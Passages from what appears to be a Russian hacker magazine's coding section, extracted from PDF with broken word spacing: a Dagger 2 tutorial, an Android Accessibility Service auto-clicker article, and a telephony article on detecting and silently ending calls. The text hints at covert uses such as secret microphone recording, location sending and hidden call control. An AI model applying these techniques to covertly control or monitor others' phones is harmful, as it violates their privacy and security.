самос тоятель но  сге нери рует  объ ект.  От  спис ка  объ явленных  в  интерфей се
методов  зависит,  куда  имен но  будут  инжекти ровать ся  синг лто ны,  в  нашем
слу чае мы обой дем ся клас сом MainActivity.

void inject(MainActivity activity);

Ес ли  бы  мы  исполь зовали  фраг менты  или  сер вис,  то  ниже  нуж но  было  бы
добавить схо жие строч ки.

void inject(Fragment fragment);
void inject(Service service);

Во обще,  анно тации  в  Dagger  2  име ют  очень  боль шую  силу.  К  при меру,
инжекти рован ные объ екты будут жить в памяти, пока при ложе ние пол ностью
не зак роет ся, и это может быть излишним. Уко ротить жизнь синг лто на мож но
так же с помощью анно тации.

@Scope
@Documented
@Retention(value=RetentionPolicy.RUNTIME)
public @interface ActivityOnly
{}….

Для это го приш лось соз дать собс твен ную анно тацию  . Она ука жет
ком понен ту, что синг лто ны дол жны быть выг ружены из памяти вслед за ком ‐
понен том, для которо го они пред назна чены.

ActivityOnly

...
@ActivityOnly
public interface CustomComponent {...

И это еще не все воз можнос ти анно таций, но мы не будем сегод ня вда вать ся
в под робнос ти — ког да ты втя нешь ся в раз работ ку с помощью Dagger 2, смо ‐
жешь разоб рать ся с ними самос тоятель но.

APPLICATION
Синг лто ны  будут  инжекти ровать ся  в  объ ект  клас са  ,  зна чит,  сам
фрей мворк дол жен начать работы еще рань ше. В клас се   есть свой
метод  ,  который  будет  выз ван  сис темой  еще  до  стар та  каких‐либо

, — имен но сюда мы и добавим ини циали зацию Dagger 2.

MainActivity
Application

onCreate
Activity

public class DaggerApp extends Application {
 CustomComponent component;

Объ ект    получа ется  из  одно имен ного  интерфей са
с  помощью  неболь шой  магии  Dagger  2.  Он  соз дает ся  с  помощью  бил дера

,  код  которо го  будет  сге нери рован  фрей мвор ком
самос тоятель но уже на эта пе ком пиляции. Наша задача — толь ко пра виль но
задать  имя  еще  не  сущес тву юще го  бил дера:  Dagger+Имя_ком понен та.
Во вре мя работы Android Studio может ругать ся на нез накомый класс 

, это лечит ся коман дами   и  .

CustomComponent

DaggerCustomComponent

Dagger‐
CustomComponent Clean Rebuild

@Override
public void onCreate() {
super.onCreate();
component= DaggerCustomComponent.builder()
 .networkModule(new NetworkModule())
 .dBModule(new DBModule(this))
 .build();}

Ес ли  у  модулей  есть  какие‐то  вход ные  парамет ры,  то  они  будут  задавать ся
тут.  Что бы  фрей мворк  заг рузил ся,  необ ходимо  так же  в  манифес те  под пра ‐
вить  тег  ,  ука зав  имя  соз данно го  нами  нас ледни ка  одно имен ного
клас са.

application

<application
 android:name=".DaggerApp … />

MAINACTIVITY
Внут ри  акти вити  кода  сов сем  мало.  Дос таточ но  толь ко  объ явить  необ ‐
ходимые объ екты, ука зав, что они дол жны быть инжекти рова ны.

@Inject
DummySQLite dummySQLite;
@Inject
RetrofitLoader retrofitLoader;

Но сра зу же при стар те ком понен та в сис теме они не появят ся, необ ходимо
выз вать метод  .inject

((DaggerApp)getApplication()).getComponent().inject(this);

На  этом  все,  DI‐пат терн  реали зован!  Теперь  в  нашем  рас поряже нии  весь
арсе нал воз можнос тей синг лто нов, при этом они находят ся под бди тель ным
кон тро лем  фрей мвор ка.  Тут  магии  никакой  нет,  Dagger  2  написал  за  нас
очень мно го кода — сге нери рован ные клас сы лежат в пап ке 

.
app/build/gener‐

ated
От мечу,  что  инжекти руют  код  обыч но  толь ко  в  базовые  ком понен ты  An‐

droid‐при ложе ний: Activity, Fragment и раз личные сер висы. У таких клас сов нет
конс трук торов  с  парамет рами,  переда вать  им  дан ные  нуж но  дру гими  спо ‐
соба ми. Для прос тых слу чаев есть такие инс тру мен ты, как 
и  , а для целых объ ектов луч ше при бег нуть к DI‐пат терну.

SharedPreferences
Bundle
Ис поль зовать  инъ екции  для  собс твен ных  клас сов  доволь но  нак ладно:

все‐таки  генери рует ся  слиш ком  мно го  вспо мога тель ного  кода.  Луч ше  про ‐
вес ти рефак торинг и передать объ екты через конс трук тор или set‐методы.

UI
За пол нять визу аль ные эле мен ты мож но раз ными спо соба ми, что‐то инжекти ‐
ровать  тут  сов сем не  нуж но. Обыч но боль шой спи сок  дан ных отоб ража ется
поль зовате лю с помощью клас са  .RecyclerView

recyclerView.setAdapter(new CustomAdapter(response.body()));
recyclerView.setLayoutManager(new StaggeredGridLayoutManager(2,1));

Мы час то про него писали, поэто му пов торять ся не будем, но в пол ном лис ‐
тинге получив шегося при ложе ния UI будет тоже реали зован.

ЗАКЛЮЧЕНИЕ
Как  ты смог  убе дить ся, фрей мвор ки  силь но  упро щают жизнь. Исходный  код
не  стыд но  показать  потен циаль ному  работо дате лю  —  тут  нет  кос тылей,
получив ший ся  код  лег ко  читать  и  под держи вать.  Исполь зование  Dagger
2 дает мно го оче вид ных пре иму ществ: лег че наладить рас пре делен ную раз ‐
работ ку, тес тировать ком понен ты и добав лять новые фун кции. По сути, наша
прог рамма  сос тоит  из  нес коль ких  модулей,  которые  абсо лют но  не  свя ‐
заны, — это и дела ет Dagger 2 таким популяр ным.

Рис. 3. Час то исполь зование Dagger 2 — обя затель ное тре бова ние

Ес ли оста лись какие‐то воп росы или хочешь, что бы я при нял учас тие в тво ем
про екте, — пиши в ком менты или на поч ту, обя затель но отве чу. Уда чи!

WWW

•Объ ясне ние сути DI‐пат терна за три минуты
•Ба за дан ных в Android
•Быс трый спо соб соз дать UI
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КОДИНГ

И прог раммис там, и хакерам, и безопас никам иног да нуж ны
спо собы авто мати зиро вать поль зователь ские дей ствия — то
есть  писать  скрип ты,  которые  будут  тыкать  в  кноп ки  чужих
соф тин так, что бы те при нима ли это чис тую монету. Кто ска ‐
зал  «нег ласно  авто мати зиро вать  работу  с  мобиль ным  бан ‐
ком»? :) Сты дитесь, товарищ! Мы за мир ную авто мати зацию.
В    мы  сфо куси рова ‐
лись на получе нии дан ных экра на, а сегод ня мы научим Ac‐
cessibility Service делать работу на устрой стве за нас!

прош лой  статье  по  Accessibility  Service

WWW

Опыт  авто ра:  «

»

Как  я  ковырял  чужой  код.  Что
полез ного  мож но  най ти  внут ри  извес тных  при ‐
ложе ний для Android

ПОНАЖИМАЙ ЭТИ КНОПКИ ЗА МЕНЯ
Еще  в  XIX  веке  Гегель  ска зал:  «Машино подоб ный  труд  нуж но  отдать
машинам».  И  тут  с  одним  из  твор цов  немец кой  клас сичес кой  филосо фии
труд но пос порить: вряд ли Георг Виль гельм Фрид рих отка зал ся бы от авто ‐
мати зации таких дей ствий, как отклю чение зву ка и нажатие кноп ки «Про пус ‐
тить  рек ламу»  при  прос мотре  ролика  в  YouTube  или  получе ние  ежед невных
бонусов за посеще ние при ложе ния. Тем более что для все го это го у нас уже
есть готовый инс тру мен тарий!

Как мы говори ли в пре дыду щей статье, Accessibility Service может получать
события, про исхо дящие на экра не, но он же может и вызывать их. Нап ример,

.на ходить нуж ные эле мен ты в при ложе нии и кли кать по ним

Ста вить чужое при ложе ние с подоб ной фун кци ональ ностью опас но — все
мы зна ем репута цию Google Play и при мер но пред став ляем себе,  что  такое
при ложе ние  может  сде лать  с  тво им  бан ков ским  кли ентом  на  телефо не.
Поэто му выхода два: либо деком пилиро вать чужое ПО и смот реть, куда имен ‐
но оно нажима ет, либо пилить свое, стро го под пос тавлен ные задачи.

Для иссле дова тель ских целей я соз дал при ложе ние,  которое будет само
в себя кли кать из собс твен ного сер виса :).

ПОДГОТОВКА К РАБОТЕ СЕРВИСА
Что бы наш сер вис начал работу, ему нуж но   в спе циаль ‐
ном раз деле нас тро ек. Как перенап равить туда поль зовате ля, ты уже зна ешь
из пер вой статьи. Допол нитель но мы сами можем переп роверить, есть ли эти
пра ва у при ложе ния.

пре дос тавить пра ва

 protected boolean checkAccess() {
    String string = getString(R.string.accessibilityservice_id);
    for (AccessibilityServiceInfo id : ((AccessibilityManager) getSys
temService(Context.ACCESSIBILITY_SERVICE)).getEnabledAccessibilityS
erviceList(AccessibilityEvent.TYPES_ALL_MASK)) {
        if (string.equals(id.getId())) {
            return true;
        }
    }
    return false;
}

Здесь  accessibilityservice_id —  это  стро ка  вида  «имя  пакета/.сер вис»,  у  нас
это ru.androidtools.selfclicker/.ClickService.

Вот опи сание сер виса из манифес та:

<service
    android:name="ru.androidtools.selfcliker.ClickService"
    android:label="@string/accessibility_service_label"
    android:permission="android.permission.BIND_ACCESSIBIL
ITY_SERVICE">
    <intent‐filter>
        <action android:name="android.accessibilityservice.Access
ibilityService" />
    </intent‐filter>
    <meta‐data
        android:name="android.accessibilityservice"
        android:resource="@xml/serviceconfig" />
</service>

Па раметр label отве чает за наз вание при ложе ния в нас трой ках сер виса спец ‐
возмож ностей. В раз деле meta‐data  зада ется  ука зание на опи сание нуж ных
фун кций для работы сер виса. Вот файл  :serviceconfig

<accessibility‐service xmlns:android="http://schemas.android.com/apk/
res/android"
android:accessibilityEventTypes="typeWindowStateChanged|typeWi
ndowContentChanged"
android:accessibilityFlags="flagDefault|flagIncludeNotImportantV
iews|flagReportViewIds"
android:canRetrieveWindowContent="true"
android:settingsActivity="ru.androidtools.selfcliker.MainActivity" />

В нем мы опи сыва ем пол номочия сер виса, типы событий, которые он может
обра баты вать, и акти вити, которое запус тится для нас трой ки работы сер виса.

Пол ное опи сание этих парамет ров, как всег да, есть  .в докумен тации

checkAccess() вер нул false!

Жиз ненным цик лом сер виса управля ет сис тема. Сами оста новить сер вис мы
не  можем.  ОС  самос тоятель но  выг рузит  ненуж ные  сер висы  —  к  при меру,
зачем кру тить сер вис для при ложе ния, которое не запуще но?

Мы можем при вязать сер вис к стро го нуж ному при ложе нию. Как толь ко мы
дали  раз решение  на  работу,  у  сер виса  вызовет ся  метод

.  У  него  мы  дол жны  выз вать  метод 
с  парамет ром  .  За  филь тра цию  при ложе ний,
с которы ми работа ет сер вис, отве чает стро ковый мас сив  .

onServiceConnected setServiceInfo()

AccessibilityServiceInfo

packageNames

@Override
protected void onServiceConnected() {
    super.onServiceConnected();
    Log.v(TAG, "onServiceConnected");
    AccessibilityServiceInfo info = new AccessibilityServiceInfo();
    info.flags = AccessibilityServiceInfo.DEFAULT |
            AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS
 |
            AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS;
    info.eventTypes = AccessibilityEvent.TYPES_ALL_MASK;
    info.feedbackType = AccessibilityServiceInfo.FEEDBACK_GENERIC;
    info.packageNames = new String[]{"ru.androidtools.selfcliсker"};
    setServiceInfo(info);
}

Да, он точ но будет

РАБОТАЕМ С СОБЫТИЯМИ ACCESSIBILITYEVENT
Пос ле  раз дачи  всех  раз решений  нам  надо  запус тить  нуж ное  при ложе ние.
Если мы зна ем его имя пакета, сде лать это нес ложно:

 private void startApp() {
    Intent launchIntent = getPackageManager().getLaunchIntent
ForPackage("ru.androidtools.selfclicker");
    // Запуск из нужного места без предыстории приложения
    launchIntent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
    startActivity(launchIntent);
}

Для  запус ка  при ложе ния  с  чис того  лис та  исполь зуем  флаг 
.  В  про тив ном  слу чае  при ложе ние  может  вер ‐

нуть ся на экран со ста рым сос тоянием, очень далеким от стар тового экра на.

Intent.-

FLAG_ACTIVITY_CLEAR_TOP

Те перь  нуж но  обра баты вать  события  в  методе  .
У события есть тип, он поможет опре делить, что про изош ло (нап ример, сме ‐
нилось окно, клик нули по эле мен ту, эле мент получил фокус). Что бы получить
источник  события  ,  надо  у  объ екта  события  выз вать
метод  .

onAccessibilityEvent

AccessibilityNodeInfo

getSource()

Ис точник име ет мно го полез ных свой ств, помога ющих в работе: текст, ID,
имя клас са. У него могут быть родитель ский и дочер ние эле мен ты.

Он  может  быть  кли кабель ным  ,  и,  что бы  щел кнуть  по  нему,
как нор маль ный поль зователь, нуж но выз вать метод 

.

isClickable()

performAction(Accessib-

ilityNodeInfo.ACTION_CLICK)

Ес ли  мы  хотим  более  гло баль ных  дей ствий,  нап ример 
  на  устрой стве,  то  сле дует  выз вать  метод 

с нуж ным парамет ром.

на жать  кла вишу

«Назад» performGlobalAction()

Что бы  най ти  на  экра не  тре бующуюся  ,  мы  можем
выз вать  один  из  методов:  поиск  по  ID  (findAccessibilityNodeInfosByViewId)
и поиск по тек сту  (findAccessibilityNodeInfosByText). Будь  готов к  тому, что он
вер нет нам мас сив эле мен тов или вооб ще ни одно го.

AccessibilityNodeInfo

ПОТРЕНИРУЕМСЯ НА КОШКАХ, ТОЧНЕЕ — НА ОКОШКАХ
Вот раз метка нашего подопыт ного экра на:

<?xml version="1.0" encoding="utf‐8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/
android"
    android:id="@+id/activity_main"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin">
    <Button
        android:id="@+id/buttonTest"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_gravity="center_horizontal"
        android:onClick="testButtonClick"
        android:text="id/buttonTest" />
    <Button
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_gravity="center_horizontal"
        android:text="Без ID"
        android:onClick="noIdClick" />
    <LinearLayout
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:background="@color/colorAccent"
        android:onClick="linearLayoutClick"
        android:orientation="vertical">
        <TextView
            android:id="@+id/textView"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_gravity="center_horizontal"
            android:text="Кликабельный LinearLayout"
            android:textAppearance="@android:style/TextAppearance.
DeviceDefault.Large" />
        <Button
            android:id="@+id/button3"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_gravity="center_horizontal"
            android:text="Нерабочая кнопка" />
    </LinearLayout>
</LinearLayout>

У некото рых эле мен тов есть ID и текст, у дру гих толь ко текст, некото рые нек ‐
ликабель ны.

Иног да  обра бот чики  кли ков  уста нав лива ют  на  области,  пре выша ющие
сво ими раз мерами эле мент с тек стом или кар тинкой.

По изу чаем эту задачу с помощью метода  .debugClick

 private void debugClick(AccessibilityEvent event) {
    if (event.getEventType() == AccessibilityEvent.TYPE_VIEW_CLICKED)
 {
        AccessibilityNodeInfo nodeInfo = event.getSource();
        if (nodeInfo == null) {
            return;
        }
        nodeInfo.refresh();
        Log.d(TAG, "ClassName:" + nodeInfo.getClassName() +
                " Text:" + nodeInfo.getText() +
                " ViewIdResourceName:" + nodeInfo.getViewIdResour
ceName() +
                " isClickable:" + nodeInfo.isClickable());
    }
}

Вот что выш ло в лог:

03‐03 16:23:15.220 24461‐24461/ru.androidtools.selfclicker D/ClickS
ervice: ClassName:android.widget.Button Text:ID/BUTTONTEST ViewId
ResourceName:ru.androidtools.selfclicker:id/buttonTest isClickable:
true
03‐03 16:23:26.356 24461‐24461/ru.androidtools.selfclicker D/ClickS
ervice: ClassName:android.widget.Button Text:БЕЗ ID ViewIdResourceN
ame:null isClickable:true
03‐03 16:23:36.697 24461‐24461/ru.androidtools.selfclicker D/ClickS
ervice: ClassName:android.widget.LinearLayout Text:null ViewId
ResourceName:null isClickable:true
03‐03 16:23:44.320 24461‐24461/ru.androidtools.selfclicker D/ClickS
ervice: ClassName:android.widget.Button Text:НЕРАБОЧАЯ КНОПКА ViewId
ResourceName:ru.androidtools.selfclicker:id/button3 isClickable:true

Что бы  ,  нуж но сна чала изу чить
эле мен ты,  которые будут  нажимать ся. Но  иног да  так же  важ на  и  пос ледова ‐
тель ность их нажатий.

вос про извести пос ледова тель ность кли ков

Для нажатий на пер вые две кноп ки мож но исполь зовать 
 и  . Если текст у эле мен тов

пов торя ется, допол нитель но мож но про верять на   или родите ля.

findAccessibilityN-

odeInfosByText findAccessibilityNodeInfosByViewId

ClassName

Что бы клик нуть в наш  , нуж но получить его 
,  ID у него нет, но есть дочер ние эле мен ты   и  ,  у  которых

есть текст.

LinearLayout AccessibilityNode-

Info TextView Button

Для  начала  нам  нуж но  получить  один  из  них,  а  потом  клик нуть  в  его
родите ля.

private boolean linearClick(AccessibilityNodeInfo nodeInfo) {
    List<AccessibilityNodeInfo> list = nodeInfo.findAccessibili
tyNodeInfosByText("Нерабочая кнопка");
    if (list.size() > 0) {
        for (AccessibilityNodeInfo node : list) {
            AccessibilityNodeInfo parent = node.getParent();
            parent.performAction(AccessibilityNodeInfo.ACTION_CLICK);
        }
        return true;
    } else
        return false;
}

Бы вают и обратные ситу ации, ког да есть родитель, а кли каем мы в дочер ние.
Для это го исполь зуй   и обра щай ся к эле мен ту в цик ‐
ле по ID   (если не оши баюсь, нумера ция ID идет с нуля).

nodeInfo.getChildCount()

nodeInfo.getChild(id)

На чинать работу сер виса луч ше с события сме ны окна:

event.getEventType() == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED

Ес ли  весь  алго ритм  дей ствий  уже  готов,  то  мож но  запус кать  сер вис  авто ‐
мати чес ки через  , нап ример раз в сут ки.AlarmManager

private void setRepeatTask() {
    Intent alarmIntent = new Intent(this, ClickService.class);
    PendingIntent pendingIntent = PendingIntent.getService(
        this, 0, alarmIntent, PendingIntent.FLAG_UPDATE_CURRENT);
    AlarmManager manager = (AlarmManager) getSystemService(Context.
ALARM_SERVICE);
    // Запускаем в 10:00
    Calendar calendar = Calendar.getInstance();
    calendar.setTimeInMillis(System.currentTimeMillis());
    calendar.set(Calendar.HOUR_OF_DAY, 10);
    calendar.set(Calendar.MINUTE, 0);
    calendar.set(Calendar.SECOND, 0);
    manager.setInexactRepeating(AlarmManager.RTC_WAKEUP,
            calendar.getTimeInMillis(), AlarmManager.INTERVAL_DAY, 
// Повторять каждые 24 часа
            pendingIntent);
} 

От менить запуск мож но вот так:

public void cancelRepeat() {
    Intent intent = new Intent(this, ClickService.class);
    final PendingIntent pIntent = PendingIntent.getService(this, 0,
            intent, PendingIntent.FLAG_UPDATE_CURRENT);
    AlarmManager alarm = (AlarmManager) this.getSystemService(Context
.ALARM_SERVICE);
    alarm.cancel(pIntent);
}

ЗАКЛЮЧЕНИЕ
Класс   поз волит изба вить ся от рутин ных опе раций на тво ‐
ем  Android‐устрой стве.  Его  воз можнос тей  дос таточ но,  что бы  реали зовать
поч ти любую задачу, глав ное — дать раз решения и най ти кли кабель ный эле ‐
мент на экра не.

AccessibilityService

https://android-tools.ru/
https://xakep.ru/2015/11/24/android-talkback-sniffer/
https://xakep.ru/2017/04/26/reverse-code/
https://developer.android.com/reference/android/accessibilityservice/AccessibilityService.html
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КОДИНГ

В Android сущес тву ет прог рам мный интерфейс к низ коуров ‐
невому аппа рат ному сте ку телефо на. С его помощью мож но
написать  прог рамму  для  набора  номера  или  обра баты вать
вхо дящий  зво нок  —  нап ример,  нег ласно 

 или ини цииро вать  .
Сло вом, инте рес ных штук мож но при думать мас су.

вклю чить  запись
с мик рофона от прав ку текущих коор динат

INFO

В  юби лей ном  выпус ке  «Хакера»
за номером 200 мы рас смат ривали 

.  Сегод ня  мы  про ‐
дол жаем  тему,  обра тив  вни мание  на  голосо вые
звон ки.

скры тые и не
очень  аспекты  работы  с  СМС

Од ной  из  самых  популяр ных  прог рамм  вре мен  Symbian  и  «Нокии»  был  так
называ емый  чер ный  спи сок  звон ков,  поз воля ющий  огра дить  тон кую  натуру
вла дель ца телефо на от нежела тель ных або нен тов. И хотя сегод ня подоб ная
фун кци ональ ность интегри рова на в некото рые про шив ки смар тфо нов, зачас ‐
тую  такие  воз можнос ти  сво дят ся  лишь  к баналь ному пер манен тно му  «бану»
кон такта  в  адресной  кни ге.  В  иссле дова тель ских  целях  рас смот рим,
как подоб ный механизм реали зует ся на прак тике. Будем счи тать, что ты дав но
чита ешь руб рику «Кодинг», живешь в Android Studio и руга ешь ся исклю читель ‐
но на Java.

Ти пич ный чер ный спи сок

А ГДЕ У НЕГО КНОПОЧКИ?
Ка ким бы ни было при ложе ние, офи циаль ным или нег ласным (толь ко для лич ‐
ного  поль зования  в  целях  иссле дова ния,  естес твен но),  оди нако во  пло хо,
если оно будет  падать  из‐за отсутс твия  на  устрой стве  телефон ных фун кций
(Wi‐Fi‐план шет). Поэто му пер вое, что сто ит сде лать, — про верить таковые:

PackageManager pm = getPackageManager();
boolean isTelephonySupported = pm.hasSystemFeature(PackageManager.
FEATURE_TELEPHONY);
boolean isGSMSupported = pm.hasSystemFeature(PackageManager.FEATUR
E_TELEPHONY_GSM);

Как  видишь,  мы  вос поль зовались  методом    из  объ екта
PackageManager, ука зав кон стан ту   в качес тве парамет ра.
Кро ме того, име ет смысл допол нитель но про верить под дер жку GSM‐модуля
кон стан той  .

hasSystemFeature
FEATURE_TELEPHONY

FEATURE_TELEPHONY_GSM
Ес ли  обе  кон стан ты  лжи вы,  то  мы  ошиб лись  устрой ством,  ничего

не  подела ешь.  В  этом  слу чае  сто ит  завер шить  работу  при ложе ния,  а  на
выходе поп росить поль зовате ля сме нить девайс ;).

ПРИНИМАЕМ ПЕРВЫЙ ЗВОНОК
С  помощью  клас са    в  Android’е  отсле жива ется  сос ‐
тояние  телефо на,  но  лишь  в  том  слу чае,  если  при ложе ние  зап росило  пол ‐
номочие   в сво ем манифес те:

PhoneStateListener

READ_PHONE_STATE

<uses‐permission android:name="android.permission.READ_PHONE_STATE"/>

Да лее необ ходимо пере опре делить и зарегис три ровать метод 
  в  реали зации  ,  что бы  получать  уве дом ления

об изме нении сос тояния телефон ного вызова. Готовая реали зация пред став ‐
лена ниже:

onCallState‐
Changed PhoneStateListener

PhoneStateListener stateListener = new PhoneStateListener() {
    public void onCallStateChanged(int state, String incomingNumber) 
{
        switch (state) {
            case TelephonyManager.CALL_STATE_IDLE: break;
            case TelephonyManager.CALL_STATE_OFFHOOK: break;
            case TelephonyManager.CALL_STATE_RINGING:
                doMagicWork(incomingNumber); // Поступил звонок с 
номера incomingNumber
                break;
        }
    }
};
...
TelephonyManager.listen(stateListener, PhoneStateListener.LISTEN
_CALL_STATE); // Помещаем в onCreate активности

Ког да пос тупа ет зво нок, целочис ленный параметр   при нима ет зна чение
, что при водит к вызову нашей боевой (или мир ной) наг ‐

рузки в виде фун кции  .

state
CALL_STATE_RINGING

doMagicWork

Вхо дящий зво нок

В  при роде  дан ный  вари ант  при ема  телефон ного  звон ка  исполь зует ся  чуть
реже,  чем  никог да.  Дело  в  том,  что  в  момент  звон ка  при ложе ние  дол жно
работать  на  перед нем  пла не,  —  такое  сво еоб разное  исполь зование  при ‐
думать  слож новато  (раз ве  толь ко  в  отла доч ных  целях),  поэто му  дви гаем ся
даль ше.

ПРИНИМАЕМ ВТОРОЙ ЗВОНОК
Ког да сос тояние телефо на изме няет ся (нап ример, в резуль тате при ема звон ‐
ка),  объ ект    начина ет  тран сли ровать  намере ние  (Intent)
с дей стви ем  .

TelephonyManager
ACTION_PHONE_STATE_CHANGED

 — меж прог рам мный фрей мворк для обме на сооб -
щени ями. Намере ния широко исполь зуют ся в Android для запус -
ка/оста нов ки  активнос тей  и  сер висов,  тран сля ции  сооб щений
по  всей  сис теме,  неяв ного  вызова  активнос тей,  сер висов
и широко веща тель ных при емни ков.

На мере ния

  —  ком понен ты,  с  помощью
которых  при ложе ние  может  отсле живать  намере ния  и  реаги -
ровать  на  любые  получен ные  дей ствия.  При емни ки  реали зуют
событий ную  модель  вза имо дей ствия  при ложе ний  и  сис темы.
Более под робно тема соз дания широко веща тель ного при емни ка
рас смот рена в статье « ».

Ши роко веща тель ные  при емни ки

Ха кер ский Cron на Android

Как  и  в  пре дыду щем  слу чае,  при ложе ние  дол жно  получить  раз решение
 в манифес те:READ_PHONE_STATE

<uses‐permission android:name="android.permission.READ_PHONE_STATE"/>

Там же регис три рует ся  и широко веща тель ный  при емник,  спо соб ный отсле ‐
живать тран сля цию намере ния:

<receiver android:name="PhoneStateChangedReceiver" >
    <intent‐filter>
        <action android:name="android.intent.action.PHONE_STATE" />
    </intent‐filter>
</receiver>

При таком под ходе мы всег да можем получать информа цию о вхо дящих звон ‐
ках, даже если при ложе ние в дан ный момент не запуще но.

На мере ние,  сооб щающее  об  изме нении  сос тояния  телефо на,  будет
содер жать  два  парамет ра:    —  приз нак  вхо дяще го
звон ка и   — телефон ный номер зво няще го.

EXTRA_STATE_RINGING
EXTRA_INCOMING_NUMBER

public class PhoneStateChangedReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        String phoneState = intent.getStringExtra (TelephonyManager.
EXTRA_STATE);
        if (phoneState.equals(TelephonyManager.EXTRA_STATE_RINGING)) 
{
            String incomingNumber = intent.getStringExtra(Teleph
onyManager.EXTRA_INCOMING_NUMBER);
            doMagicWork(incomingNumber); // Поступил звонок с номера 
incomingNumber
        }
    }
}

Та кой под ход и сле дует исполь зовать на прак тике.

ПОЛОЖИ ТРУБКУ!
Итак,  телефон  весело  зво нит,  номер  вхо дяще го  опре делен,  наш  широко ‐
веща тель ный при емник сра ботал. Что даль ше?

Ес ли рас смат ривать вари ант чер ного спис ка или же бота, выпол няюще го
коман ды  извне,  то  неп лохо  бы  научить ся  вешать  труб ку,  не  прив лекая  вни ‐
мания  поль зовате ля.  Аппа рат ный  стек  телефо на  очень  похож  на  нулевое
коль цо  (ring  0)  в Windows,  в  том  смыс ле,  что  тоже  пред став ляет  собой  низ ‐
коуров невый  сис темный  ком понент.  Поэто му  не  сущес тву ет  стан дар тно го
спо соба до него доб рать ся (осо бен но если у тебя неруто ван ный аппа рат).

Как вари ант, мож но попытать ся исполь зовать язык опи сания интерфей сов
(Android Interface Definition Language, AIDL) для обес печения меж про цес сно го
вза имо дей ствия меж ду ком понен тами сис темы.

Для  это го  необ ходимо  добавить  в  про ект файл‐интерфейс 
 сле дующе го вида:

ITelephony.
aidl

package com.android.internal.telephony;
interface ITelephony {
    boolean endCall();
    void answerRingingCall();
    void silenceRinger();
}

Сле дующий  код  под хва тит  интерфейс  и,  исполь зуя  реф лексию,  «положит»
труб ку:

import java.lang.reflect.Method;
import com.android.internal.telephony.ITelephony;
...
TelephonyManager telephony = (TelephonyManager) context.getSys
temService(Context.TELEPHONY_SERVICE);
try {
    Class c = Class.forName(telephony.getClass().getName());
    Method m = c.getDeclaredMethod("getITelephony");
    m.setAccessible(true);
    telephonyService = (ITelephony) m.invoke(telephony);
    telephonyService.endCall();
} catch (Exception e) {
    e.printStackTrace();
}

Что бы  это  хозяй ство  зарабо тало,  при ложе ние  дол жно  получить  еще  одно
раз решение в манифес те:

<uses‐permission android:name="android.permission.MODIFY_PHONE_STATE"
/>

Из‐за это го при менить подоб ный спо соб на устрой ствах с Android 2.3 и выше
не вый дет, так как начиная с Gingerbread дан ное раз решение счи тает ся сис ‐
темным и попыт ка его исполь зовать при ведет к падению при ложе ния:

Neither user 10031 nor current process has android.permission.MODIFY
_PHONE_STATE

Но  ведь  в  Google  Play  пол но  при ложе ний,  реали зующих  чер ный  спи сок!
Как же они работа ют? Условно их мож но раз делить на две груп пы (кро ме тех,
кто чес тно юза ет AIDL): фаль шив ки и… кос тыли. Пер вые все го лишь ими тиру ‐
ют работу, пери оди чес ки показы вая в штор ке ста тис тику «заб локиро ван ных»
звон ков (и СМС). Вза мен они тре буют дос туп в интернет, ска чива ют килотон ‐
ны рек ламы, которую кру тят по поводу и без. Рас чет здесь стро ится на том,
что поль зователь не сра зу обна ружит обман и свою пор цию бан неров гаран ‐
тирован но  получит  (гоме опа тия  в  чис том  виде).  Такие  прог раммы  вряд  ли
соот ветс тву ют руб рике «Кодинг», поэто му мы их про пус каем.

При ложе ния  вто рой  груп пы  пыта ются  обор вать  зво нок  нет риви аль ными
спо соба ми — нап ример, при киды ваясь поль зовате лем и нажимая кноп ки:

public static void answerPhoneHeadsethook(Context context) {
    // «Нажимаем» и «отпускаем» кнопку на гарнитуре
    Intent buttonDown = new Intent(Intent.ACTION_MEDIA_BUTTON);
    buttonDown.putExtra(Intent.EXTRA_KEY_EVENT, new KeyEvent(KeyEvent
.ACTION_DOWN, KeyEvent.KEYCODE_HEADSETHOOK));
    context.sendOrderedBroadcast(buttonDown, "android.permission.
CALL_PRIVILEGED");
    Intent buttonUp = new Intent(Intent.ACTION_MEDIA_BUTTON);
    buttonUp.putExtra(Intent.EXTRA_KEY_EVENT, new KeyEvent(KeyEvent.
ACTION_UP, KeyEvent.KEYCODE_HEADSETHOOK));
    context.sendOrderedBroadcast(buttonUp, "android.permission.CALL_P
RIVILEGED");
}

Ори гиналь ным, но впол не рабочим может быть метод умень шения гром кости
нежела тель ного звон ка до нуля:

AudioManager audioManager = (AudioManager)context.getSystemService(
Context.AUDIO_SERVICE);
int ringerMode = audioManager.getRingerMode();
audioManager.setRingerMode(AudioManager.RINGER_MODE_SILENT);

Ис поль зуя  объ ект  ,  мы  сна чала  получа ем  текущий  зву ковой
про филь  , а потом уста нав лива ем бес шумный режим 

.

AudioManager
getRingerMode() Audi‐

oManager.RINGER_MODE_SILENT
Пос ле  того  как  зво нок  прек ратит ся  (текущее  сос тояние  сме нит ся  на 

), вос ста нав лива ем исходный режим:
EX‐

TRA_STATE_IDLE

audioManager.setRingerMode(ringerMode);

Но даже в этом слу чае не обой тись без спе циаль ных раз решений:

<uses‐permission android:name="android.permission.MODIFY_AUDIO_SE
TTINGS" />
<uses‐permission android:name="android.permission.WRITE_SETTINGS"/>
<uses‐permission android:name="android.permission.WRITE_SECURE_SE
TTINGS"/>

Здесь  мы  не  бло киру ем  номер  как  таковой,  ско рее  прос то  не  под нима ем
труб ку, одна ко такой под ход не тре бует никаких «вык рутасов».

Встре чают ся  при ложе ния,  которые  с  перемен ным  успе хом  пыта ются
получить дос туп к кноп кам на экра не вхо дяще го звон ка, как, нап ример,  .здесь

INFO

